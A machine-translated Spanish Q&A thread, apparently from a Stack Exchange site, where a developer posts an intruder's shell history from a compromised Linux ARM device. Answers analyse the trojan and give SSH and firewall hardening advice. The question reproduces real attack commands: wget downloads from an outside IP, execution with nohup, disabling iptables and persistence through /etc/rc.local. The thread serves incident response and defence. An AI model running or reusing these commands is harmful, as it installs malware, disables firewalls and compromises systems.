Estoy desarrollando un producto de consumo, y se supone que está conectado a Internet, por lo que, como era de esperar, está conectado a Internet para poder desarrollarlo adecuadamente.
Me fui por una o dos horas, y cuando regresé a mi oficina noté algunos comandos extraños escritos en la terminal.
Mirando el archivo de registro de Linux llamado auth.logpuedo ver las siguientes líneas (entre muchas más):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
La dirección IP 40.127.205.162resulta ser propiedad de Microsoft .
Aquí hay un montón de comandos que se usaron mientras estaba fuera:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
Y más:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
No estaba completamente consciente de esto. ¿Cómo puedo asegurar mi producto correctamente?
Me gustaría publicar el auth.logarchivo completo . ¿Cómo puedo hacer eso?
Además, el archivo yjz1que se descargó parece ser un troyano de Linux y todo esto lo hace algún tipo de grupo de hackers de acuerdo con http://anti-hacker-alliance.com/index.php?ip=40.127.205.162
¿Debo llamar a Microsoft y hablar con ellos? ¿Qué tengo que hacer?
fuente
Respuestas:
EDITAR 2 :
Hay una buena razón por la que esta publicación está atrayendo tanta atención: logró grabar toda la sesión en vivo de un intruso en su PC. Esto es muy diferente de nuestra experiencia cotidiana, donde tratamos con el descubrimiento de las consecuencias de sus acciones y tratamos de corregirlas. Aquí lo vemos en el trabajo, vemos que tiene algunos problemas para establecer la puerta trasera, volver sobre sus pasos, trabajar febrilmente (tal vez porque estaba sentado en su escritorio, como se sugirió anteriormente, o tal vez, y en mi opinión más probable, porque estaba no puede hacer que su malware se ejecute en el sistema, lea a continuación) e intente implementar instrumentos de control totalmente autónomos. Esto es lo que los investigadores de seguridad presencian diariamente con sus trampas de miel . Para mí, esta es una oportunidad muy rara, y la fuente de cierta diversión.
Definitivamente has sido hackeado. La evidencia de esto no proviene del fragmento del
auth.logarchivo que mostró, porque esto informa un intento de inicio de sesión fallido, que se produce en un corto período de tiempo (dos segundos). Notarás que la segunda línea diceFailed password, mientras que la tercera informa unapre-authdesconexión: el tipo lo intentó y falló.En cambio, la evidencia proviene del contenido de los dos archivos
http://222.186.30.209:65534/yjzy de lohttp://222.186.30.209:65534/yjz1que el atacante descargó en su sistema.El sitio está actualmente abierto para que cualquiera pueda descargarlos, lo cual hice. Primero corrí
filesobre ellos, que mostró:Luego los traje a una máquina virtual Debian de 64 bits que tengo; un examen de su contenido a través del
stringscomando reveló muchas cosas sospechosas (referencia a varios ataques conocidos, comandos a los que se debe sustituir, un script que se usó claramente para configurar un nuevo servicio, etc.).Luego produje los hash MD5 de ambos archivos y los envié a la base de datos hash de Cymru para ver si son agentes conocidos de malware. Mientras
yjzque no es,yjz1es y Cymru informa una probabilidad de detección por software antivirus del 58%. También indica que este archivo se vio por última vez hace unos tres días, por lo que es bastante reciente.Ejecutando clamscan (parte del
clamavpaquete) en los dos archivos que obtuve:así que ahora estamos seguros de que el software estándar de Linux puede identificarlo.
Que deberias hacer
Aunque es bastante nuevo, ninguno de los sistemas es muy nuevo, consulte este artículo de enero de 2015 sobre XorDdos , por ejemplo. Entonces, la mayoría de los paquetes gratuitos deberían poder eliminarlo. Usted debe tratar:
clamav,rkhunter,chkrootkit. Busqué en Google y vi que dicen ser capaces de detectarlo. Úselos para verificar el trabajo del predecesor, pero después de ejecutar estos tres programas, debería estar listo para comenzar.En cuanto a la pregunta más amplia,
what should you do to prevent future infectionsla respuesta de Journeyman es un buen primer paso. Solo tenga en cuenta que es una lucha continua, una que todos nosotros (¡incluido yo!) Bien podríamos haber perdido sin siquiera saberlo.EDITAR :
En el aviso (indirecto) de Viktor Toth, me gustaría agregar algunos comentarios. Ciertamente, es cierto que el intruso encontró algunas dificultades: descarga dos herramientas de pirateo distintas, cambia sus permisos varias veces, las reinicia varias veces e intenta muchas veces desactivar el firewall. Es fácil adivinar lo que está sucediendo: espera que sus herramientas de piratería abran un canal de comunicación hacia una de sus PC infectadas (ver más adelante) y, cuando no ve que este nuevo canal aparece en su GUI de control, teme que su pirateo el firewall está bloqueando la herramienta, por lo que repite el procedimiento de instalación. Estoy de acuerdo con Viktor Toth en que esta etapa particular de su operación no parece dar los frutos esperados, pero me gustaría alentarlo fuertemente. para no subestimar el alcance del daño infligido en tu pc.
Proporciono aquí una salida parcial de
strings yjz1:Esto proporciona evidencia de alteración de los servicios (en
/etc/init.dy dentro/etc/rc.d), concrontabel archivo de historial demysqly un par de archivos en losprocque están vinculadosbash(lo que sugiere que se ha plantado una versión fraudulenta personalizada de su shell). Luego, el programa genera una solicitud HTTP (a un sitio de habla china,lo que da sustancia al comentario anterior de David Schwartz), lo que puede crear aún más estragos. En la solicitud, los binarios (
Content-Type: application/x-www-form-urlencoded) deben descargarse en la PC atacada (GET) y cargarse en la máquina de control (POST). No pude establecer qué se descargaría en la PC atacada, pero, dado el pequeño tamaño de ambosyjzyyjz1(1.1MB y 600kB, respectivamente), puedo aventurarme a suponer que la mayoría de los archivos necesarios para ocultar el rootkit, es decir , el alterado versiones dels,netstat,ps,ifconfig, ..., se pueden descargar de esta manera. Y esto explicaría los febriles intentos del atacante para iniciar esta descarga.No hay certeza de que lo anterior agote todas las posibilidades: ciertamente nos falta parte de la transcripción (entre las líneas 457 y 481) y no vemos un cierre de sesión; Además, especialmente preocupantes son las líneas 495-497,
que se refieren a un archivo que no vimos descargado, y que podría ser una compilación: si es así, significa que el atacante ha entendido (¿finalmente?) cuál era el problema con sus ejecutables y está tratando de solucionarlo, en cuyo caso el La PC atacada se ha ido para siempre. [De hecho, las dos versiones del malware que el atacante descargó en la máquina pirateada (y yo en mi VM Debian de 64 bits) son para una arquitectura inadecuada, x86, mientras que solo el nombre de la PC pirateada revela el hecho de que estaba tratando con una arquitectura de brazo].
La razón por la que escribí esta edición es para instarlo lo más fuerte posible a que combine su sistema con un instrumento profesional o que lo reinstale desde cero.
Y, por cierto, si esto resulta útil para alguien, esta es la lista de las 331 direcciones IP a las que
yjzintenta conectarse. Esta lista es tan grande (y probablemente está destinada a hacerse aún más grande) que creo que esta es la razón para manipularlamysql. La lista proporcionada por la otra puerta trasera es idéntica, lo cual, supongo, es la razón para dejar a la vista una información tan importante (creo que el atacante no quiso hacer el esfuerzo de almacenarlos en formato kernel, por lo que puso la lista completa en un archivo de texto claro, que probablemente sea leído por todas sus puertas traseras, para cualquier sistema operativo):El siguiente código
en la lista anterior muestra que 302 de un total de 331 direcciones están en China continental, las restantes están en Hong Kong, Mongolia, Taiwán. Esto agrega más apoyo a la afirmación de David Schwartz de que esto es principalmente un anillo bot chino.
EDITAR 3
A petición de @ vaid (el autor del OP, lea su comentario a continuación), agregaré un comentario sobre cómo fortalecer la seguridad de un sistema Linux básico (para un sistema que proporciona muchos servicios, este es un tema mucho más complejo).
vaiddeclara que hizo lo siguiente:Esto está bien (excepto que uso un puerto por encima de 10,000 ya que muchos programas útiles usan los puertos por debajo de 10,000). Pero no puedo enfatizar lo suficiente la necesidad de usar claves criptográficas para el inicio de sesión ssh , en lugar de contraseñas. Te daré un ejemplo personal. En uno de mis VPS, no estaba seguro de si cambiar el puerto ssh; Lo dejé a las 22, pero usé claves criptográficas para la autenticación. Tuve cientos de intentos de intrusión por día , ninguno tuvo éxito. Cuando, cansado de comprobar a diario que nadie había tenido éxito, eventualmente cambié el puerto a algo por encima de 10,000, los intentos de robo se pusieron a cero. Eso sí, no es que los hackers sean estúpidos (¡no lo son!), Solo cazan presas más fáciles.
Es fácil activar una clave criptográfica con RSA como algoritmo de firma, vea el comentario a continuación de Jan Hudec (¡gracias!):
Ahora todo lo que tiene que hacer es copiar el archivo
id_rsaa la máquina desde la que desea conectarse (en un directorio.ssh, tambiénchmod'ed a 700), luego emitir el comandoCuando esté seguro de que esto funciona, edite en el servidor (= la máquina a la que desea conectarse) el archivo
/etc/ssh/sshd_configy cambie la líneaa
y reinicie el
sshservicio (service ssh restartosystemctl restart ssh, o algo así, dependiendo de la distribución).Esto resistirá mucho. De hecho, actualmente no hay exploits conocidos en contra de las versiones actuales
openssh v2y de RSA empleadas poropenssh v2.Por último, para atornillar realmente su máquina, deberá configurar el firewall (netfilter / iptables) de la siguiente manera:
Esto, 1) permite conexiones ssh desde LAN y WAN, 2) permite todas las entradas originadas por sus solicitudes (por ejemplo, cuando carga una página web), 3) deja todo lo demás en la entrada, 4) permite todo en la salida, y 5-6) permite todo en la interfaz de bucle invertido.
A medida que crecen sus necesidades y se deben abrir más puertos, puede hacerlo agregando, en la parte superior de la lista, reglas como:
para permitir, por ejemplo, que personas accedan a su navegador web.
fuente
yjz1través de Googles VirusTotal.com que dio un resultado positivo. Ni siquiera vi queyjzhabía sido descargado. Gracias.stringsdatos no confiables. lcamtuf.blogspot.com/2014/10/…ls,whoo cualquier otra cosa. El "rescate de datos" mediante el uso de cualquier ejecutable en el sistema comprometido (por ejemplo,scporsync) podría comprometer aún más máquinas.Bienvenido a Internet, donde cualquier servidor SSH abierto es probable que sea sondeado, forzado por la fuerza bruta y se le inflijan varias indignidades.
Para comenzar, debe limpiar completamente el almacenamiento en el producto. Imagínelo si desea transmitirlo para análisis forense, pero la instalación de Linux en él ahora es sospechosa.
Un poco de conjeturas pero
Te obligaron brutalmente o usaste una contraseña común. Es seguridad por oscuridad, pero no desea una contraseña de diccionario o usar una cuenta raíz abierta a SSH. Deshabilite el acceso raíz SSH si es una opción o al menos cambie el nombre para que tengan que adivinar ambos. SSHing como root es una práctica de seguridad terrible de todos modos. Si debe usar root, inicie sesión como otro usuario y use su o sudo para cambiar.
Dependiendo del producto, es posible que desee bloquear el acceso SSH de alguna manera. Un bloqueo total parece una buena idea y permite a los usuarios abrirlo según sea necesario . Dependiendo de los recursos que pueda ahorrar, considere permitir solo direcciones IP en su propia subred o algún tipo de sistema de limitación de inicio de sesión. Si no lo necesita en el producto final, asegúrese de que esté apagado.
Use un puerto no estándar. Seguridad por oscuridad nuevamente, pero significa que un atacante debe apuntar a su puerto.
Nunca use una contraseña predeterminada. El mejor enfoque que he visto es generar aleatoriamente una contraseña para un dispositivo específico y enviarla con su producto. La mejor práctica es la autenticación basada en claves, pero no tengo idea de cómo abordaría eso en un producto de mercado masivo.
fuente
Oh, definitivamente has sido hackeado. Al parecer, alguien pudo obtener credenciales de root e intentó descargar un troyano a su sistema. MariusMatutiae proporcionó un análisis de la carga útil.
Surgen dos preguntas: a) ¿Fue exitoso el atacante? Y b) ¿qué puedes hacer al respecto?
La respuesta a la primera pregunta puede ser un no. Observe cómo el atacante intenta repetidamente descargar y ejecutar la carga útil, aparentemente sin éxito. Sospecho que algo (SELinux, ¿acaso?) Se interpuso en su camino.
SIN EMBARGO: El atacante también alteró su
/etc/rc.d/rc.localarchivo, con la esperanza de que cuando reinicie su sistema, la carga útil se active. Si aún no ha reiniciado el sistema, no reinicie hasta que haya eliminado estas alteraciones/etc/rc.d/rc.local. Si ya lo ha reiniciado ... bueno, mala suerte.En cuanto a lo que puede hacer al respecto: lo más seguro es limpiar el sistema y volver a instalarlo desde cero. Pero esto puede no ser siempre una opción. Una cosa significativamente menos segura de hacer es analizar exactamente lo que sucedió y borrar cada rastro, si puede. Una vez más, si aún no ha reiniciado el sistema, tal vez todo lo que necesita es limpiar
/etc/rc.d/rc.local, eliminar todo lo descargado por el atacante y, por último, pero no menos importante, ¡cambiar la maldita contraseña!Sin embargo, si el atacante ya pudo ejecutar la carga útil, puede haber otras modificaciones en su sistema que pueden ser difíciles de detectar. Es por eso que una limpieza completa es realmente la única opción segura (y recomendada). Como indicó, el equipo en cuestión puede ser un objetivo de prueba / desarrollo, por lo que quizás limpiarlo no sea tan doloroso como en otros casos.
Actualización : a pesar de lo que escribí sobre una posible recuperación, deseo hacerme eco de la muy fuerte recomendación de MariusMatutiae de no subestimar el daño potencial causado por esta carga útil y la medida en que puede haber comprometido el sistema objetivo.
fuente
Mi sshd-honeypot también ha visto este tipo de ataque. Las primeras descargas desde esa URL comenzaron el 2016-01-29 10:25:33 y los ataques aún continúan. Los ataques son / vinieron de
La aportación de estos atacantes fue:
Así que no hay otras actividades que instalar la puerta trasera para más adelante.
fuente
Todos aquí han ofrecido consejos sólidos, pero para ser claros, sus prioridades deben ser respaldar y verificar lo que realmente necesita de ese sistema, y luego limpiarlo con una nueva instalación de medios seguros conocidos.
Antes de conectar su host recién instalado a Internet, siga estas ideas:
Cree un nuevo usuario no root e inicie sesión como ese usuario. Nunca debería necesitar iniciar sesión como root, solo sudo (el usuario sustituto lo hace) cuando sea necesario.
Instale SE Linux, ajustes de configuración que permiten el control de acceso obligatorio: https://wiki.debian.org/SELinux/Setup
Considere un firewall de hardware entre su oficina / hogar e Internet. Uso MicroTik, que tiene un excelente soporte comunitario: http://routerboard.com/ .
Suponiendo que está en una línea de tiempo para completar su trabajo remunerado, al menos haga el n. ° 1. El n. ° 3 es rápido y barato, pero deberá esperar el paquete por correo o conducir a la tienda.
fuente
¿ Debian-armhf es su nombre de host? ¿O utiliza una instalación predeterminada con la configuración predeterminada? No hay ningún problema con eso, pero no debe permitir que el host se exponga directamente a Internet (es decir, al menos no está protegido por su módem).
Parece que el verdadero problema proviene de 222.186.30.209 (ver http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). No debe prestar mucha atención a ver la IP de Microsoft. Las IP pueden ser falsificadas o falsificadas más o menos fácilmente.
Una forma habitual de conectarse a Internet es reenviar una lista conocida de puertos desde su IP pública (por ejemplo, 8.8.8.8) a su local (por ejemplo, 192.168.1.12).
Por ejemplo, no reenvíe todas las conexiones entrantes de 8.8.8.8 (público) a 192.168.1.12 (local).
Reenviar solo los puertos 22 y 25 (ssh y correo entrante, respectivamente). Por supuesto, también debe tener paquetes / bibliotecas ssh y smtp actualizados .
¿Que sigue? Desconecte el host y cambie las contraseñas (en cualquier computadora asociada con la organización) que estén codificadas en scripts de shell (¡qué vergüenza!)
/etc/shadow.fuente
Como otros dijeron, está bastante claro que la seguridad de su servidor se ha visto comprometida. Lo más seguro es limpiar esta máquina y volver a instalarla.
Para responder a la segunda parte de su pregunta, si no puede usar la autenticación de clave pública, le recomiendo al menos configurar Fail2Ban y ejecutar SSH en un puerto no estándar. También deshabilito el acceso raíz SSH.
Fail2Ban ayudará a mitigar los ataques de fuerza bruta al prohibir las direcciones IP que no pueden iniciar sesión un cierto número de veces.
Configurar sshd para escuchar en un puerto no estándar al menos ayudará a reducir un poco la visibilidad de su servidor SSH. Deshabilitar el inicio de sesión raíz también reduce ligeramente el perfil de ataque. En
/etc/sshd_config:Con el inicio de sesión root deshabilitado, deberá cambiar a root
suuna vez que se haya conectado, o (más preferiblemente) usarsudopara ejecutar comandos privilegiados.fuente
Los servidores SSH están constantemente bajo ataque en Internet. Un par de cosas que haces:
Asegúrese de utilizar una contraseña aleatoria muy segura para máquinas con acceso a Internet. Me refiero a 16 caracteres o más y completamente al azar. Use un administrador de contraseñas para no tener que memorizarlo. Si puedes memorizar tu contraseña, es demasiado simple.
Si no necesita SSH, apáguelo. Si lo necesita, pero no lo necesita de acceso público, ejecútelo en un número de puerto alto y no estándar. Hacer esto reducirá drásticamente los intentos de pirateo. Sí, un hacker dedicado puede hacer un escaneo de puertos, pero los robots automatizados no lo encontrarán.
El fragmento de su registro de autenticación muestra un intento fallido. Sin embargo, si mira más allá, sin duda verá un inicio de sesión exitoso. Si usa una contraseña simple, entonces es trivial que un bot ingrese.
Debe aislar esta máquina de la red. Con mucho cuidado, saque lo que necesita de él y luego límpielo.
fuente
Lo primero que debe hacer cualquiera / todos después de configurar un servidor Linux / Unix frontal es desactivarlo inmediatamente
root.Su sistema fue comprometido. Tiene un registro de historial en ejecución que puede ser genial ver hasta cierto punto. Pero honestamente diseccionar los detalles es un poco quisquilloso y no lo ayudará a proteger su servidor. Muestra todo tipo de tonterías que suceden cuando la botnet genera malware, que es lo que probablemente infectó su servidor, infecta un sistema Linux. La respuesta proporcionada por @MariusMatutiae es agradable y bien pensada, y hay otros que repiten que fue pirateado a través del
rootacceso, que es el sueño húmedo de un malware / botnet.Hay algunas explicaciones sobre cómo deshabilitar,
rootpero afirmaré por experiencia personal, casi todo lo que va más allá de lo que describiré ahora es excesivo. Esto es lo que debería haber hecho la primera vez que configuró el servidor:sudoderechos: cree un nuevo usuario con un nuevo nombre, algo asícooldudecomosudo adduser cooldude, usando un comando como si está utilizando Ubuntu u otro tipo de sistema Debian. Luego, edite manualmente elsudoarchivo con un comando como estesudo nano /etc/sudoersy agregue una línea comocooldude ALL=(ALL:ALL) ALLdebajo de la línea equivalente que debería leerroot ALL=(ALL:ALL) ALL. Una vez hecho esto, inicie sesióncooldudey pruebe elsudocomando con un comando comosudo w—algo básico y no destructivo— para ver si lossudoderechos funcionan. Es posible que se le solicite una contraseña. ¿Eso funciona? ¡Todo bien! Avanza al siguiente paso.rootcuenta: Bien, ahora quecooldudeestá a cargo de lossudoderechos, inicie sesióncooldudey ejecute este comando para bloquear la cuenta raízsudo passwd -l root. Si de alguna manera ha creado un par de claves SSH pararoot, abra/root/.ssh/authorized_keysy quite las claves. O mejor aún, simplemente cambie el nombre de ese archivo deauthorized_keys_OFFesta manera,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpara deshabilitar efectivamente las claves SSH. Prefiero el último porque, en el caso de que todavía necesites una contraseña menos inicio de sesión, puedes mover ese archivo nuevamente al nombre original y estarás listo.FWIW, he administrado docenas de servidores Linux a lo largo de los años (¿décadas?) Y sé por experiencia que simplemente deshabilitar,
rooty configurar un nuevo usuario consudoderechos, es la forma más simple y básica de proteger cualquier sistema Linux. Nunca he tenido que lidiar con ningún tipo de compromiso a través de SSH una vez querootestá desactivado. Y sí, es posible que vea intentos de iniciar sesión a través deauth.logpero no tienen sentido; sirootestá desactivado, esos intentos nunca se sumarán a nada. ¡Solo siéntate y mira los intentos fallar sin cesar!fuente